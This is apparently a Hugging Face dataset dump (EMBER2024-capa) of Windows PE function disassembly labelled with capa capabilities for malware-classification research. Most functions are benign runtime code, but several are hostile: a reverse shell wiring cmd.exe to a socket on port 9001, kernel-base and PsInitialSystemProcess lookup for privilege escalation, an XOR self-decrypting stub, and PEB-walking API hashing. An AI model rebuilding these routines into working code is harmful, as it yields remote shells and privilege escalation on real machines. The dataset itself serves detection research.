joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140183125
Capabilities:
Set thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov dword [rbp - 0x14], 0
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
call sym._fpreset
lea rax, [0x14018ca30]
mov rcx, rax
call sym.pthread_mutex_lock
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_lock
lea rax, [sym.pthread_tls_init]
mov rdx, rax
lea rax, [0x140441530]
mov rcx, rax
call sym._pthread_once_raw
mov eax, dword [0x14018ca20]
mov rdx, qword [rbp - 8]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov rdx, qword [rbp - 8]
mov dword [rdx + 0x70], eax
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_unlock
mov rdx, rbp
mov rax, qword [rbp - 8]
add rax, 0xd0
mov rcx, rax
call sym._setjmp
test eax, eax
jne 0x14018323a
mov qword [rbp - 0x10], pe_nt_image_headers64
lea rax, [0x14018ca30]
mov rcx, rax
call sym.pthread_mutex_unlock
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
test rax, rax
je 0x140183208
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 0x10]
mov rax, qword [rbp - 8]
mov rax, qword [rax + 8]
mov rcx, rax
call rdx
mov qword [rbp - 0x10], rax
nop
nop
lea rax, [0x14018ca30]
mov rcx, rax
call sym.pthread_mutex_lock
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rax + 8], rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x1d8]
mov rcx, rax
call sym._pthread_cleanup_dest
jmp 0x140183249
lea rax, [0x14018ca30]
mov rcx, rax
call sym.pthread_mutex_lock
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_lock
mov rax, qword [rbp - 8]
mov rax, qword [rax + 8]
mov dword [rbp - 0x14], eax
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x140183285
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 8]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x28]
test rax, rax
jne 0x1401832f3
mov rax, qword [rbp - 8]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_unlock
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_destroy
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.push_pthread_mem
mov qword [rbp - 8], 0
mov eax, dword [0x14018ca20]
mov rdx, qword [rbp - 8]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
jmp 0x14018333d
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_unlock
mov rax, qword [rbp - 8]
add rax, 0x38
mov rcx, rax
call sym.pthread_mutex_destroy
mov rax, qword [rbp - 8]
mov qword [rax + 0x38], 0xffffffffffffffff
mov rax, qword [rbp - 8]
mov dword [rax + 0xbc], 1
jmp 0x14018333d
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [0x14018ca30]
mov rcx, rax
call sym.pthread_mutex_unlock
test eax, eax
je 0x14018332f
mov eax, dword [rbp - 0x14]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll__endthreadex]
call rax
nop
Function at 0x14283f834
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14283f83e
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x14283f867
pop rbp
sub rbp, 0x33
sub rbp, 0x283f834
sub rsp, 0x20
jmp 0x14283f886
mov rax, 0x283f834
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffffb71a18a6
xor byte [rax], dl
inc rax
dec rcx
jne 0x14283f8a5
jmp 0x14283f8bc
out dx, al
invalid
Function at 0x140009038
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, r8
mov r9, rcx
xor ecx, ecx
movabs r8, 0xcbf29ce484222325
mov rsi, rdx
movzx eax, byte [rbx + rcx + 0x10]
movabs rdx, 0x100000001b3
xor r8, rax
inc rcx
imul r8, rdx
cmp rcx, 4
jb 0x14000905c
mov rdx, qword [r9 + 0x30]
mov rcx, qword [r9 + 0x18]
and rdx, r8
add rdx, rdx
cmp qword [rcx + rdx*8 + 8], rbx
jne 0x1400090b3
cmp qword [rcx + rdx*8], rbx
jne 0x1400090a8
mov rax, qword [r9 + 8]
mov qword [rcx + rdx*8], rax
mov rcx, qword [r9 + 0x18]
mov rax, qword [r9 + 8]
jmp 0x1400090ac
mov rax, qword [rbx + 8]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x1400090c0
cmp qword [rcx + rdx*8], rbx
jne 0x1400090c0
mov rax, qword [rbx]
mov qword [rcx + rdx*8], rax
mov rax, qword [rbx + 8]
mov rdi, qword [rbx]
mov qword [rax], rdi
mov rcx, qword [rbx]
mov rax, qword [rbx + 8]
mov qword [rcx + 8], rax
dec qword [r9 + 0x10]
mov rdx, qword [rbx + 0x30]
cmp rdx, 8
jb 0x1400090f5
mov rcx, qword [rbx + 0x18]
inc rdx
mov r8d, 2
call fcn.1400020a4
mov edx, 1
mov rcx, rbx
lea r8d, [rdx + 0x37]
call fcn.1400020a4
mov rbx, qword [rsp + 0x30]
mov rax, rsi
mov qword [rsi], rdi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x14000b51c
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_1.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x1400148a0], eax
call fcn.14000b2a4
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_1.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_1.dll_UnhandledExceptionFilter]
cmp dword [0x1400148a0], 0
jne case.default.0x14000b572
mov ecx, 1
call fcn.14000b2a4
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_TerminateProcess]
test al, 0x17
in eax, dx
jg 0x140020a05
mov bh, 0xaf
invalid
rol dword [rdi + 0x44a2544e], 0xc8
fnstsw word [rax - 0x62]
ficomp dword [rdi + rdi*8 - 0x170898f5]
invalid
Function at 0x140010760
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400166d0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400166d0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x1400107d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14001c0a4]
mov rbx, rcx
test esi, esi
jle 0x140010900
mov rax, qword [0x14001c0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14001081b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400108a5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140010800
mov rcx, rbx
call fcn.140011240
mov rdi, rax
test rax, rax
je 0x140010922
mov rax, qword [0x14001c0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140011380
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14001c0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140010907
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14001089e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x1400108b0
add dword [0x14001c0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14001c0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001089e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140010760
nop dword [rax]
xor esi, esi
jmp 0x140010828
mov rax, qword [0x14001c0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140010760
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140010760
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140010eb0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14001c100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14001c0e0]
test rbx, rbx
je 0x140010f0c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140010f03
test eax, eax
jne 0x140010f03
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140010ee8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140011240
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140018ba0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140011260
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140011268
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140011260
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400112bd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400112b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140011260
add rax, 0x28
cmp rax, r9
jne 0x1400112a0
xor eax, eax
ret

Function at 0x1400112c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140018ba0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400112df
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400112e8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400112df
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140011380
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140018ba0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14001139f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400113a8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140003ebc
Capabilities:
Access peb ldr_data
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rdx, qword [0x1400060d0]
mov rax, rcx
mov ebx, 1
test rdx, rdx
jne 0x140004097
mov rax, qword gs:[0x60]
xor ebp, ebp
mov r13d, 0x39e59e3c
mov rdx, qword [rax + 0x18]
mov rax, qword [rdx + 0x10]
mov rax, qword [rax]
mov qword [rsp + 0x68], rax
mov r8, rax
mov eax, dword [r8 + 0x58]
sub ax, 8
test ebp, ebp
je 0x140003f61
mov r9, qword [r8 + 0x60]
mov r10d, 0x35d82a86
movzx eax, ax
shr rax, 1
lea r11, [r9 + rax*2]
jmp 0x140003f53
movsx eax, byte [r9]
mov ecx, eax
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140003f33
cmp r10d, ebp
jne 0x140004071
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140004071
mov edi, dword [r10 + 0x18]
test edi, edi
je 0x140004071
mov r12d, dword [r10 + 0x20]
dec edi
mov r14d, 0x35d82a86
lea rcx, [r12 + rdi*4]
mov r11d, dword [rcx + r9]
add r11, r9
jmp 0x140003fc7
movsx ecx, sil
sub sil, 0x41
mov edx, ecx
or edx, 0x20
cmp sil, 0x19
cmova edx, ecx
xor edx, r14d
imul r14d, edx, 0x1000193
mov sil, byte [r11]
add r11, rbx
test sil, sil
jne 0x140003fa9
cmp r14d, r13d
je 0x140003fe0
test edi, edi
jne 0x140003f94
jmp 0x140004071
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx r8d, word [rdx + rdi*2]
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x14000408b
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14000408b
mov ebp, 0x35d82a86
mov r13d, ebp
jmp 0x140004035
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, ebp
imul ebp, ecx, 0x1000193
add rdx, rbx
mov r8b, byte [rdx]
cmp r8b, 0x2e
jne 0x140004016
jmp 0x14000405e
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, r13d
imul r13d, ecx, 0x1000193
add rdx, rbx
mov r8b, byte [rdx]
test r8b, r8b
jne 0x140004040
mov rax, qword [rsp + 0x68]
mov r8, qword [rax]
mov rax, qword [r8]
mov r8, rax
cmp rax, qword [rsp + 0x68]
je 0x140004089
cmp qword [rax + 0x30], 0
jne 0x140003f11
xor edx, edx
mov rax, qword [rsp + 0x60]
mov qword [0x1400060d0], rdx
mov rcx, rax
call rdx
cmp eax, 0xffffffff
je 0x1400040a5
test al, 0x10
je 0x1400040a7
xor bl, bl
mov al, bl
mov rbx, qword [rsp + 0x70]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001890
Capabilities:
Load ntoskrnl
Resolve ntoskrnl gadgets

Disassembly:
mov qword [rsp + 0x20], rsi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 8], rax
mov esi, ecx
lea r8, [rbp - 0x18]
xor ecx, ecx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_K32EnumDeviceDrivers]
test eax, eax
je 0x140001a3e
mov edx, dword [rbp - 0x18]
mov ecx, 0x40
mov qword [rsp + 0x90], rbx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x140001a5f
mov edx, dword [rbp - 0x18]
lea r8, [rbp - 0x18]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32EnumDeviceDrivers]
mov rcx, rbx
test eax, eax
je 0x140001a80
mov qword [rsp + 0xa0], r14
mov r14, qword [rbx]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, str.ntoskrnl.exe
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140001aa7
lea rdx, str.PsInitialSystemProcess
mov qword [rsp + 0x98], rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov rcx, rbx
test rax, rax
je 0x140001a17
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
sub rdi, rbx
lea rdx, [rbp - 0x10]
mov r8d, 8
lea rcx, [r14 + rdi]
call fcn.1400015d0
mov rbx, qword [rbp - 0x10]
lea rdx, [rbp - 0x18]
xor edi, edi
mov dword [rbp - 0x18], edi
lea rcx, [rbx + 0x2e0]
lea r8d, [rdi + 4]
call fcn.1400015d0
mov qword [rbp - 0x10], rdi
cmp dword [rbp - 0x18], esi
je 0x1400019df
nop word [rax + rax]
lea rcx, [rbx + 0x2e8]
mov r8d, 8
lea rdx, [rbp - 0x10]
call fcn.1400015d0
mov rbx, qword [rbp - 0x10]
lea rdx, [rbp - 0x18]
add rbx, 0xfffffffffffffd18
mov dword [rbp - 0x18], edi
mov r8d, 4
lea rcx, [rbx + 0x2e0]
call fcn.1400015d0
cmp dword [rbp - 0x18], esi
jne 0x1400019a0
mov rdi, qword [rsp + 0x98]
mov rax, rbx
mov rbx, qword [rsp + 0x90]
mov r14, qword [rsp + 0xa0]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140001c00
mov rsi, qword [rsp + 0xa8]
add rsp, 0x80
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rdx, str.GetPsInitialSystemProcessOffsetInKernel:_psInitialSystemProcess_is_NULL
lea rcx, [rbp - 0x60]
call fcn.140001500
lea rdx, [0x140004258]
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.GetKernelBaseAddress:_EnumDeviceDrivers___Get_drivers_count
lea rcx, [rbp - 0x48]
call fcn.140001500
lea rdx, [0x140004258]
lea rcx, [rbp - 0x48]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.GetKernelBaseAddress:_LocalAlloc___Memory_allocation_failed
lea rcx, [rbp - 0x30]
call fcn.140001500
lea rdx, [0x140004258]
lea rcx, [rbp - 0x30]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rdx, str.GetKernelBaseAddress:_EnumDeviceDrivers___Return_kernel_driver
lea rcx, [rbp - 0x60]
call fcn.140001500
lea rdx, [0x140004258]
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.GetPsInitialSystemProcessOffsetInKernel:_LoadLibraryA___Library_loading_failed
lea rcx, [rbp - 0x60]
call fcn.140001500
lea rdx, [0x140004258]
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400043e0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400043f0]
mov dword [rax], 1
mov rax, qword [0x140004400]
mov dword [rax], 1
mov rax, qword [0x140004390]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400043d0]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1400044a0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140004480]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140004340]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001450
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [0x140007040]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [0x1400071d8], rax
lea rax, str.127.0.0.1
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xd8]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_inet_ntoa]
call rax
mov r8, rax
mov edx, 0x10
lea rax, str.127.0.0.1
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_strcpy_s]
call rax
mov word [0x1400071e0], 2
lea rax, str.9001
mov rcx, rax
call sym.atoi
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [0x1400071e2], ax
lea rax, str.127.0.0.1
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [0x1400071e4], eax
mov rax, qword [0x1400071d8]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
lea rdx, [0x1400071e0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
mov r8d, 0x68
mov edx, 0
lea rax, [0x140007200]
mov rcx, rax
call sym.memset
mov dword [0x140007200], 0x68
mov dword [0x14000723c], 0x101
mov rax, qword [0x1400071d8]
mov qword [0x140007260], rax
mov rax, qword [0x140007260]
mov qword [0x140007258], rax
mov rax, qword [0x140007258]
mov qword [0x140007250], rax
movabs rax, 0x6578652e646d63
mov edx, 0
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 8], 0
mov qword [rbp], 0
mov qword [rbp + 8], 0
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x20], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x78], 0
mov qword [rbp + 0x80], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0x90], 0
mov qword [rbp + 0x98], 0
mov qword [rbp + 0xa0], 0
mov qword [rbp + 0xa8], 0
mov qword [rbp + 0xb0], 0
mov qword [rbp + 0xb8], 0
mov qword [rbp + 0xbf], 0
mov qword [rbp + 0xc7], 0
lea rax, [rbp - 0x30]
lea rdx, [0x140007270]
mov qword [rsp + 0x48], rdx
lea rdx, [0x140007200]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov eax, 0
add rsp, 0x160
pop rbp
ret
Function at 0x140001a70
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001ae0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007314]
mov rbx, rcx
test esi, esi
jle 0x140001c10
mov rax, qword [0x140007318]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001b2b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001bb5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001b10
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001c32
mov rax, qword [0x140007318]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007318]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001c17
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001bae
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001bc0
add dword [0x140007314], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140007318]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001bae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001b38
mov rax, qword [0x140007318]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400021c0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007380]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140007360]
test rbx, rbx
je 0x14000221c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140002213
test eax, eax
jne 0x140002213
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400021f8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]